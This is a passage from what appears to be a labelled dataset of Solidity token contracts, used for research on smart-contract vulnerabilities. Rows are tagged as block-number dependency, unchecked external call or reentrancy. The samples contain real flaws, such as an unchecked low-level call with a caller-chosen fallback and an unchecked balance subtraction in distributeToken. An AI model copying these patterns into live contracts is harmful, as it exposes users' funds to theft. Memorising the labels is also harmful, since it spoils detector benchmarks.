balances[foundersWallet].add(_tokensFounders); balances[msg.sender] = balances[msg.sender].add(_tokensContributor); invBalances[msg.sender] = invBalances[msg.sender].add(_tokensContributor).add(_tokensFounders).add(_tokensProject); totalInvSupply = totalInvSupply.add(_tokensContributor).add(_tokensFounders).add(_tokensProject); totalSupply = totalSupply.add(_tokensProject).add(_tokensFounders).add(_tokensContributor); emit Transfer(0x0, msg.sender, _tokensContributor); emit Transfer(0x0, projectWallet, _tokensProject); emit Transfer(0x0, foundersWallet, _tokensFounders); } function tgrLive() view public returns(bool) { if (tgrStartBlock == 0) { return false; } uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage); if (stage < tgrSettingsMaxStages) { if (tgrAmountCollected >= tgrSettingsAmount){ return false; } else { return true; } } else { return false; } } function tgrStageBlockLeft() public view returns(int) { if (tgrLive()) { uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage); return int(tgrStartBlock.add((stage+1).mul(tgrSettingsBlocksPerStage)).sub(block.number)); } else { return -1; } } function tgrCurrentPartContributor() public view returns(int) { if (tgrLive()) { uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage); return int(tgrSettingsPartContributor.add(stage.mul(tgrSettingsPartContributorIncreasePerStage))); } else { return -1; } } function tgrNextPartContributor() public view returns(int) { if (tgrLive()) { uint stage = block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage).add(1); return int(tgrSettingsPartContributor.add(stage.mul(tgrSettingsPartContributorIncreasePerStage))); } else { return -1; } } function tgrCurrentStage() public view returns(int) { if (tgrLive()) { return int(block.number.sub(tgrStartBlock).div(tgrSettingsBlocksPerStage).add(1)); } else { return -1; } } }",./Dataset/block number dependency (BN),0,0 35637.sol,"pragma solidity ^0.4.17; /* New ERC23 contract interface */ contract ERC223 { uint public totalSupply; function balanceOf(address who) constant returns (uint48); function name() constant returns (string _name); function symbol() constant returns (string _symbol); function decimals() constant returns (uint8 _decimals); function totalSupply() constant returns (uint48 _supply); function transfer(address to, uint48 value) returns (bool ok); function transfer(address to, uint48 value, bytes data) returns (bool ok); function transfer(address to, uint48 value, bytes data, string custom_fallback) returns (bool ok); event Transfer(address indexed from, address indexed to, uint48 value, bytes indexed data); } /* * Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint48 value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint48 _value, bytes _data){ TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } /** * ERC23 token by Dexaran * * https://github.com/Dexaran/ERC23-tokens */ /* https://github.com/LykkeCity/EthereumApiDotNetCore/blob/master/src/ContractBuilder/contracts/token/SafeMath.sol */ contract SafeMath { uint48 constant public MAX_UINT48 = 0xFFFFFFFFFFFF; function safeAdd(uint48 x, uint48 y) constant internal returns (uint48 z) { require(x <= MAX_UINT48 - y); return x + y; } function safeSub(uint48 x, uint48 y) constant internal returns (uint48 z) { require(x > y); return x - y; } function safeMul(uint48 x, uint48 y) constant internal returns (uint48 z) { if (y == 0) return 0; require(x <= MAX_UINT48 / y); return x * y; } } contract ERC223Token is ERC223, SafeMath { mapping(address => uint48) balances; string public name; string public symbol; uint8 public decimals; uint48 public totalSupply; function ERC223Token() public { totalSupply = 25907002099; balances[0x535fC82388b0FF37248B5100803C3FA00FF076cB]=129350000; balances[0x329504f7Cf737d583AB6AC3Cabd725ec1bF329a4]=7636000; balances[0xCC7E72c949a71044D7f22294c7d9aB0524cCAFf7]=1; balances[0xd590955D43bfbe93A3c51b2d6BAFc886C24a4B87]=110; balances[0x6B6d0B5842c61153d89743040B19C760DDA647B5]=388300; balances[0xcb9D6ad63a4487D28545F9Bd3c9d2B2Cf374803b]=1054000; balances[0xb700402053ac42638C83B9a791f03F4c9bF16854]=330000; balances[0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98]=1484598; balances[0x04f04c5F2e735A223FDEFe94c94978F77c344FB8]=1100000; balances[0xB66844cD7EC75b91FE62aB5A0E306132485C9527]=179391; balances[0xC4CE380FcfaD899F9A7aCF8F13690dbE387FB8db]=1185800; balances[0xe02E96193e84FCc63F2D488a7c9448B43aD904A4]=1140700; balances[0xA2fE32aA95f9771F596089CC171dD10cA3d5761C]=44000; balances[0xd6484a997129938709fAb588Fd6F55B0A684ab56]=21890000; balances[0x9a6F14cEaD3521142E678fD0fEe294881449D889]=2204925; balances[0xb3ce93Ef88d0ea70cafc029b4238CBa3b704354d]=1519400; balances[0x7eD1E469fCb3EE19C0366D829e291451bE638E59]=304722; balances[0xAAb8805f5626760b612812b83D77F96671E222e2]=1492589; balances[0x7205d8e2Ff6012392Ac4C0c9fb5125F8Abb3ef6d]=1100000; balances[0xEC348184cA6C85d12cA822Dc01FAbEb1d199e996]=1100000; balances[0xA56F95FC14bC4D2953a819c20c0C7078a08ef7Aa]=6600000; balances[0x5aD299927508d786E469AadDf34EEDDD4aCd96A5]=880000; balances[0xF46DBA0c3Cce9d3b2Ce371952b72e7F66b62BE95]=1100000; balances[0xd5f3b11b2E20fa1B7018e93128BF6faf5bda2BD7]=4894374; balances[0x3b1a8135E0b445097c83F780F0B068F21cEAa7b4]=1052381; balances[0xF27Fef813A7D7E17f7907a6043c52971a0b0209f]=769780; balances[0xf3cAD07CB033F68A35e388527e55F1E804f8704a]=2088246; balances[0x5B1286d898eD28d8a7A59b224Fc4c252461e0b64]=384957; balances[0xBb265B80c2eFe6f071432FBA0B1527Ab5Ba9F91F]=319985; balances[0x259DF6B527FB06757dB3295862aC8dc292466435]=98550; balances[0xeb62ae01812773BF3C270221a9b511c86AaC1546]=296120; balances[0x51A7016D90B58855D89efFC70c94e9808cabE680]=106012; balances[0x919612F15F7734cD59008B2E21ba7bAC435bB8A8]=258912; balances[0xDD6be4514A348FB2d422d176dEC81B8666B143dd]=34942; balances[0xf0660eFb282102dB8B57EaF39F883833E8b62821]=679598; balances[0x267C817c2Ea39C31C7075A5548d5356bcf205eFD]=186215; balances[0x863aACEbF0030e26e14F9ff552b654171Ff6372F]=295686; balances[0x14A1C2F56b7953aA4A93700C346740b9A25150F8]=148344; balances[0xFc8425A1B01d1d74c2281Da2975cB77422d4CEA3]=2961211; balances[0x4FdB2ee1EbEb1886976FA9aDAaA42a1c090335aD]=1124099; balances[0x019BDC7F3DDF5aD4A5695e16ACfe02a4d32aEA5f]=116046; balances[0xE11692E90dE2A2c4F220Fb0597CFdd22D5eFAcF1]=17767; balances[0x6f06F186C8dd8D0cAd3835946A857aed261C5652]=20038512; balances[0x24F7a01Fa083F8DB8A5b4dd46Fb003F1fd1C47d5]=3378741; balances[0x92D8bfD2d2559a25a5D43e84f4430915e38B980F]=264302; balances[0x8785816569941D86DFAE7adFdd92C2f50d3a5Ad6]=397479; balances[0x7B2C6cB5bE1a99118ce38e373d58adF04d8e6719]=290277; balances[0xa50da0F0940A852927740470e1A0a6016e9a3B65]=79800; balances[0x9d2C3aA31Ffb61180214Ca87296A2f4F8DDA6472]=1029302; balances[0x93A1B766A75DaeCa4a05E08ee5d7781f3d6D72B1]=7279842; balances[0x96BD54Caefd00EeFe1e836677319B6631C0f67E0]=525000; balances[0x0072e4Fd215f7B992D0A19fAdC58DBfAC568CE4a]=1155000; balances[0xF9eE68058FA43a79834897793B7B34d0135b98BB]=11500; balances[0x2A9c9a5475A6E24A530ccf5527A045F4dBf3E78e]=1138500; balances[0x995C6B0d4F3cca7d0081f18d4b48faa135eA47b3]=38755; balances[0x679d24F2F5AAf0E7bB6dd49e45B41CCff0779564]=459493; balances[0x9235881033C4B57be38B1d28921451F90bd7744d]=114493; balances[0xDf61cA237F6E782df0E090f58c8534e8794bAE64]=271231; balances[0xEDdb1aBC1e37953F91ca6E3a11611Be79719fF5d]=46000; balances[0xdf15A49e50Fa9f2D71B922Ae325a5AFB381A31f1]=1150000; balances[0x269E20e3dA89481d6F0De3408c5448AE44a313B8]=250534; balances[0x8D1F338F8abd714fd09ec13C100A0d7dF693cd5D]=282900; balances[0xb703CE71557095b9566348928bBFD4a991456936]=207000; balances[0x3877d21b3f1ffDF602840366aDf2350b8E1F8210]=298492; balances[0x9A77E0910034A3B809687f8340b5BD2a184ED5bb]=345000; balances[0x8861fd090e71D72A7ca0Aa0B24dD5D664b52cF03]=1150000; balances[0x0098C71bCA3EBD977147928A4dA574fd138571AC]=465750; balances[0x7131f3FCc9177F1176378635efD30A9109cF3cdE]=1682450; balances[0x90FcD92B396CFD6951d8DdCd0Cdd2654436C2840]=1150000; balances[0x5Bd46d1744B2AAAd591B01D23786336bF7faC094]=2961897; balances[0x0C95959EB2056d86552baa4B859288C84D74a7e9]=3450000; balances[0x8755A5619E2D2FC56e263FcBE26116250941d477]=23407; balances[0xfDbe03a53aF5e4509AEBD9D148B41eEc34776B7c]=1137993; balances[0x72a63625144327FC6A58867699107934E7F0B609]=438399; balances[0x4EE354582a9Cc60Eb086CAEB514234c1EfE14D9F]=115000; balances[0xBF0A1d55528EEd2990F752A6bccd24dd772421f5]=1725000; balances[0x670226836D7Bf336bfd172086d682002a30D63e3]=1010850; balances[0xd8F83AF83B6334be21a166d203e84D9c4f6e33e0]=396243; balances[0xd175fb3b65eDC995DC9b2dAE705270448D8A5231]=328900; balances[0x86dE9262Aa13f1351C9009B6BC1B1a432C96f005]=274068; balances[0x08E004E3741052Fd00e49384088e2D6F81f97fd5]=1264492; balances[0xc1F81207791DDa997542625cb86CC0D8Af7dfAb4]=1138500; balances[0x913E5A823A614ad226c810e55154f3f385F647F0]=1150000; balances[0x7f4823876318faD7321FD813b7aBd4A7C60C12A5]=1150000; balances[0xcd9E6E0E63C5611ab1988e0569E3aD89b86086c6]=199299; balances[0xb1Dd23a37776c1d3E1F0c874d1F72589F3c59E44]=1138500; balances[0xfE2ceCCC914be290d49712d4715438268FC76359]=1150000; balances[0x3dd9cFE0D6eE68163aCd1EeB6De9f4D3A580839D]=505825; balances[0x9323D4704fB877CD090Ba715B11Da9A3eDFdA7Ef]=275000; balances[0x0c747c7EEdf05515425AdD4061911Ae9F039F4Df]=821160; balances[0x51a23f481037CA208086f42FE83D28B71c1EbC2c]=345000; balances[0x42E1Fb8EC1830DBe4e5Ed5Ce60Bd307D3AcBB5a1]=14950; balances[0x4fa531A7da9b0FA37cC60eb26eE7393B39c616B1]=945000; balances[0x9383D952e4aa5C33c86d11932877D1D523097702]=221958; balances[0xd5FECA4d252b298d7500c05766049210e2BD6C03]=600000; balances[0xf4e5DA75e054FE7373a8Db3B5aD4E2d35404b7F3]=1096; balances[0xA46BBC28cB381A6c383DAE0D3eAb39A78d9bd704]=342402; balances[0xc94AB3B27218b1E5C24Fdb7cE169EB8bD5a58060]=1922965; balances[0x7111B872B505992b2a61f5F3b7A31E6A589F9ba2]=2265500; balances[0x66D94665903a8c5A7e2E065e654610e4C0E3d510]=1155060; balances[0x180d932fbD59C12c180087085cDCDFa50f20C7DB]=1150000; balances[0x07ACDd672aB32251C38560F14bd3b325A3392a42]=8904900; balances[0x9b0Ae3d7A088101BbC027685B31020e88D776795]=101727; balances[0x9608D348627CcB2FEcd97ab2896DB2516dDCdD9F]=2000000; balances[0x82b9EedCAA518352BDb1aC80F5a214857f29a3fc]=260000; balances[0x26BD273Ad192046E4cE16f3c23f4D4A273176C6c]=400000; balances[0x3707D0B7EB1A3e70E2a892aAD4938be493b053Ef]=995000; balances[0x687Eab8387faFca0E894c7890571cb8885d06252]=100000; balances[0x29B41749C1b019624dB2Eca34852aAd1435E2FB2]=1150000; balances[0x985B1beC38e6402C9EE39b6f0c26518899026e4c]=1000000; balances[0x0674C588aB53256a0ef619CAfB459324Dc8Ea009]=1655620; balances[0x84A3A12B84C57E1Fe22fAB1CC3Ad40308cB53ecd]=3980559; balances[0x0B8a97a036bCc47707a11231362435e937f35536]=900000; balances[0x99DfCa33bAABC6812Ebe8C790EeD515D8B36B69E]=160000; balances[0xF85D5c4197caa5ec2fC97761b0D51A012F4BE84f]=11525; balances[0xbBb40eC9E24C6D387843dfEA84Baa5E8BD6Fd3e9]=2000000; balances[0x8df3185D971B5C657D0f2E9B53Dc0bBe5912F42e]=1000000; balances[0xa1ec5e1274A5FA126415453968c9929c3F91FEE7]=100000; balances[0x3607e4119Ef3E2a72E55D18B5feaA81c6140E85e]=200000; balances[0x26a74e056EB4E3607792DCd87070E468878d14E9]=70000; balances[0x517DB8116c84888Fa8013AB18B7E5F2f5e152508]=100000; balances[0x547376929E8A4abcC04c32268c43d4924f2Ac985]=1749903; balances[0xA6d8aD119eAC13Fe161BEff88be65FC9624C1340]=942438; balances[0xdb090dDaC7A159Eb6161c8591aED719d80875f37]=996417; balances[0x922D65456B8B1DeDC6F3EFcDB2981163144E96ee]=48300; balances[0x63235E4764A0072fE68Bdd32D1A16813E5fc9d49]=1457548; balances[0x68aD20aa347f5E719EF4476B25154B4d547a6275]=753951; balances[0x75393B6949157376f93C1e56220ACD5457323135]=1506758; balances[0x1796c3f4E9E877A79df5923bf8bE9aB925F7deD4]=200000; balances[0xF0ED57958dD75DBD20374D46F1547dED0D717b4b]=1000000; balances[0x1a2EB5ADf16aA5915AC70f6C530680945F5DAdF4]=132170; balances[0x5ec85d2f4891bB5034bE10BA9B3B0253cc394Cd9]=205299; balances[0x179278CB0659957675f9f3E7f949C3CcA283F153]=110000; balances[0xCA4bB096407E7c2b2c0E67D5173FD9BB8E452647]=100000; balances[0xdd8b17C94B097587108476bf1AC31Ce02cFa6c12]=181097; balances[0xA7b1a07AF73f52A9bcD22C6BF2122577bb4f7900]=130000; balances[0x38a6d1c82E8f3E04940FeA95E583Bdc24df964e4]=543404; balances[0x8A39dBa536919aB530E5b4dA9f4686A350eb2379]=1000000; balances[0x113b1501D2B6bf0f84D720Cec93928aD552749D2]=100000; balances[0xa028fAF0f1DC3176069F755AE643AbE13aA53E1b]=33596; balances[0x29D70Bb2FE698ae19cBD317fedaB4BcE3Cd3E85c]=490000; balances[0xb9aC6748E56a67D99F1869E701DedAB25A90cFC5]=100000; balances[0x90785Da382Cea9d3352D6ad8935816BADFFB3D73]=2167608; balances[0x8661C945bE98c81191BB4d6254bfe1B475AB86a5]=347154; balances[0x36bA740450a224E866b3C17B46C33CDB80a8e718]=2600365; balances[0x0DF2781a47a1fa23F3D73E79E089E5e178A72ba6]=67390; balances[0x1914D9FD18c6aC7cF2c2135be38E9D746aAa4743]=12095033; balances[0x2314401bDD5318A88A9a0c05FB07B800dae88ED8]=627865; balances[0x300bD3b89cBf26292bD58c99dB2851f14050a221]=345000; balances[0x23E2F1e5b874ac14039306804912aEb66713FCa2]=276181; balances[0xB365C8583B4fAc9C1352E3FFa2Bdb68C663C1A06]=78435; balances[0x0E9822f773e93d8C58255451f4f4Af78F5374353]=785839; balances[0xC006E4931AD1FD622B20bF66844C34676834A05f]=141365; balances[0x04a2209bB6fa3c8ae05A6133b27d628D18054853]=179713; balances[0x8bC1b34c9712Af6B891A12f9C6311b0D3B8CBfa8]=1280058; balances[0x38a548Ba2235245FD99c2116b9a1211AaD54B28D]=5014000; balances[0x55781922C48A3F51C38153365c795ca06383a177]=2415000; balances[0xB97559fe630EB888aEa2fBD6dB4a67909d7e5879]=407067; balances[0x83AB7422A347Ddb8957725F08a103107bb119328]=5510; balances[0x2D7dc7b96e9dFb393CFa466eAC6c494BDa28604a]=245000; balances[0xE804b632cd624Bd80a2a4DdBc9d0aD3984e54F93]=25000; balances[0x0CfB3a673d6E735c5b9E9a9A9Da032E960CD8CD4]=123049; balances[0x44344Dc9974706c34f53B92167275a34f4AB1EE8]=44753; balances[0x4C65118325dcd97E8724cd4E763703f7263f0DDF]=180000; balances[0x5Fc8f1D8B9Eeebf2Cf6a2eE5c20b3dEF6b2d10B5]=1044750; balances[0x0280EF5689728A8eD0eC93A49F700ea251eB64fB]=44275000; balances[0xc784a88c444cCB22eb744ffA3Dd37b78F9F29f9D]=187915; balances[0xCdc35eD04Cf4eeb74dD82eABe82cbB386Aa79D1c]=575000; balances[0xF53786FF94a25DB623A028B08B69aa875648986B]=10127000; balances[0x36621EA0B079CEDD13026e321BfC4924d55a6008]=8480114; balances[0xbE8a87EE71db2323515787Ae37A198cA898188Ae]=3453850; balances[0xB7237539824a984Cd095F6509E7D7bB710f3c6FA]=70000; balances[0x1b42dFB72B02fFB15F369C38F39E6753980B6a89]=51672; balances[0xb7FFb5174BF7382a1445C735166f49fdCa893884]=480386; balances[0x50DF172676De7d1769877fd1A4221F634bF9B9D7]=245000; balances[0x67E7e452a8671eFecb9284c483dE75C3fF1f02A9]=13168935; balances[0xBFa4d7beAcA87AaE890fe79C948Cc057B409156B]=38994; balances[0xD1c6ad2b3F196252629787D0CdCa69ED4d76a890]=111879; balances[0xBF6C51b740ee3dd7650aA9958a57A58caeaBF4d2]=1316666; balances[0x0056D18AEF3FF077826dd50c68cef9ddC84a6827]=108000; balances[0x4Bd6B497DE1a41bF4B29a4387DD4CD9030b583AA]=315392; balances[0xe38Bf41d25C21b411C406822f4eC682753E3a8b5]=6170363; balances[0x6EE0D8DE8829C0648B1f0682A04b89a13dD3Bb6d]=279361; balances[0x0e4d86cf3CbF43dBF588B9C7FF3cD29CE1a46e19]=101122; balances[0x1bD7DE6Ec470914663850bAa88E6a57B30E42e7C]=251945; balances[0x85478a6aD555Ef567B9ff2acdF0024DD643D16D6]=1990000; balances[0x1b84B3FD554d2338926D43A0cdd4D7aFD7d62E29]=10000000; balances[0x92844ad0530580F3ecc459f7B203a1853027bD01]=6900000; balances[0x2E87Eb67a51fD130Ab4d056f48c6256B201E2a96]=260792; balances[0x56D18AEf3Ff077826dD50c68cef9ddC84a6827ee]=6080000; balances[0x33c33E5F1C41477df3715575A8f0CC9E2330C3A8]=223228; balances[0x5765725f2a0e30DABcFc838701Ed01CaaB0564e8]=354161; balances[0x058dfCDB62C93a5f78e8C5D162911f46269aDB4c]=2500000; balances[0x826f679FBDCAC418352737dDf57dbddDE37C3603]=16100; balances[0xAFfb92c9bf7Fe534a38E29428a89dfFf91F06362]=65676; balances[0xd8A3B9456cB819f19Cf230bB5b31f1d88f6A128F]=140000; balances[0x47c0f4ADe7C8A071EA98DB4739F1fdEfFcb89bE0]=10350200; balances[0x3271bB92A304503Cb09a58e9f822DFD9C5187095]=279361; balances[0x5D4545ab1016039F2CA7f6038d2044069e4EF6a0]=5000000; balances[0x4F18A7fE4e3476191098453F973d93c120a5046b]=94817; balances[0x9157C680585718ffdb621031cC93b6EcC4cA763C]=320499; balances[0xF6eBf541d7cfBC0cB3ACeF0b2aeF70992db5abE4]=3720; balances[0x18556A2F95d86F4681420c97a2b3EcE70b07F54C]=29763; balances[0xA6189D516d88857583Af24A500Ae47E5326b2aBf]=529049; balances[0x211af5659bCec2cf14AcF7Ef3069C8be9c318D3C]=416667; balances[0xFbD1Db8B6F9B0c3f47a9f731200CA85725aADdD2]=124271; balances[0xB469C927e1a8485d8ae2F6e16b1654167Bb185D6]=416667; balances[0x8C00526818eeCA6b4BdA0fD534b8f1d53c78E200]=200000; balances[0x007aDfB8C0Fa143E9c0d4260172D88A3ef38F6e9]=365198; balances[0x6856f0FF9619bD151bD4E34cF8a9B613d3A0d161]=731882; balances[0x1C0576530BBB246d834F847b8EB634377CCC5eD2]=700065; balances[0x5106B0860475CdF3F74D1B3fdfc5619eE2C51Aa5]=141377; balances[0xc076c1C52BfDBb15507102AaDA4473a039963F4f]=25000000; balances[0x93970080A078980B8B121A556A60f3a114FB9169]=706889; balances[0x9FfDca13b7ea0ddE97Dce2a286E453518eF34C00]=744093; balances[0x65c6D15C2772B42c745c980dbcB5FB0f74974385]=26043; balances[0x961E7e3558F31C647fc4D39B0aC2544E786cCd3f]=333668; balances[0xA07b23625BD37378f24023bc7B55eB501F3cC4Ed]=96732; balances[0x73F15eBEBDe578024A60A4cDf626689efF2B9065]=372046; balances[0x9865F77f5A21595329f05A9D8a47F6Da966E0b38]=23029; balances[0x65c6f7A45A005CCC1979599473aA79Ca73D6efb0]=57317; balances[0xa0D2F4B648beAff668dDBa8e748Ac135c4c49F84]=369639; balances[0x9f8EdE9F051f946788211549b70CfEF5c81B447B]=1000000; balances[0xAbe5CCb78502727c8CF17CfA79b218e889DD62bB]=102004; balances[0xE6ba478c352DE046aa3D9279A61A43850F3a609c]=101008; balances[0xd889C102e974ef2bA128D3caa60C463A3ae8F989]=163700; balances[0x803CbCF07c4cFA1874dad6BCeD796aB5320b3d89]=4500; balances[0xe8621096d55C7B970bF88cc4e597f29dA4b55218]=170455; balances[0x4347da950003a9C0E477eC625CD1b57620B762DE]=1150000; balances[0x8Cf2Bef55EA9a7908029853CF6289356f24e332B]=210833; balances[0xC6B24D95E69D9F74eA90C419F4B4F71e6433b2EE]=13761; balances[0x9B1f1962b65deAA7c1C495a36767f48019f24205]=57500; balances[0x976d00C6aaf3E49E2615665D81B70080933D8623]=516488; balances[0xafCe1E95eB00824B0368E2574c81ea04252D09aA]=86071; balances[0x60995c4c4b7B9EA3D6dE08a7bf8AAf1188aF943B]=27523; balances[0xc50c9457a5b0849999e2b89db8dDeA23436f3c46]=61345; balances[0x042a3E1aB9eB9Aa7B06c63eaAfb99F0EEE37c9aC]=42000; balances[0x52437Ce5c02de9B0A5D933E6902a9509f33353B4]=86071; balances[0x6FBb288E14a37a94f69c18a0eD24FaC1145b9900]=522827500; balances[0x33C8d18e9b46872CeBb31384bFBEc53Cb32Ccf12]=24876206872; name = ""GameCoin""; symbol = ""GMC""; decimals = 2; } // Function to access name of token . function name() constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant returns (uint48 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint48 _value, bytes _data, string _custom_fallback) returns (bool success) { if(isContract(_to)) { require(balanceOf(msg.sender) >= _value); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint48 _value, bytes _data) returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint48 _value) returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint48 _value, bytes _data) private returns (bool success) { require(balanceOf(msg.sender) >= _value); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint48 _value, bytes _data) private returns (bool success) { require(balanceOf(msg.sender) >= _value); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) constant returns (uint48 balance) { return balances[_owner]; } }",./Dataset/unchecked external call (UC),7,7 34456.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function distributeToken(address[] addresses, uint256 _value) { for (uint i = 0; i < addresses.length; i++) { balances[msg.sender] -= _value; balances[addresses[i]] += _value; Transfer(msg.sender, addresses[i], _value); } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { totalSupply = 12 * 10 ** 24; balances[msg.sender] = totalSupply; // Give the creator all initial tokens (100000 for example) name = ""EETHER""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""EETHER""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x02ebbc0e01be79d76a100ed987d2e7bf9b4dac7a_CTW.sol,"// CTWtoken pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else {return false;} } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else {return false;} } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 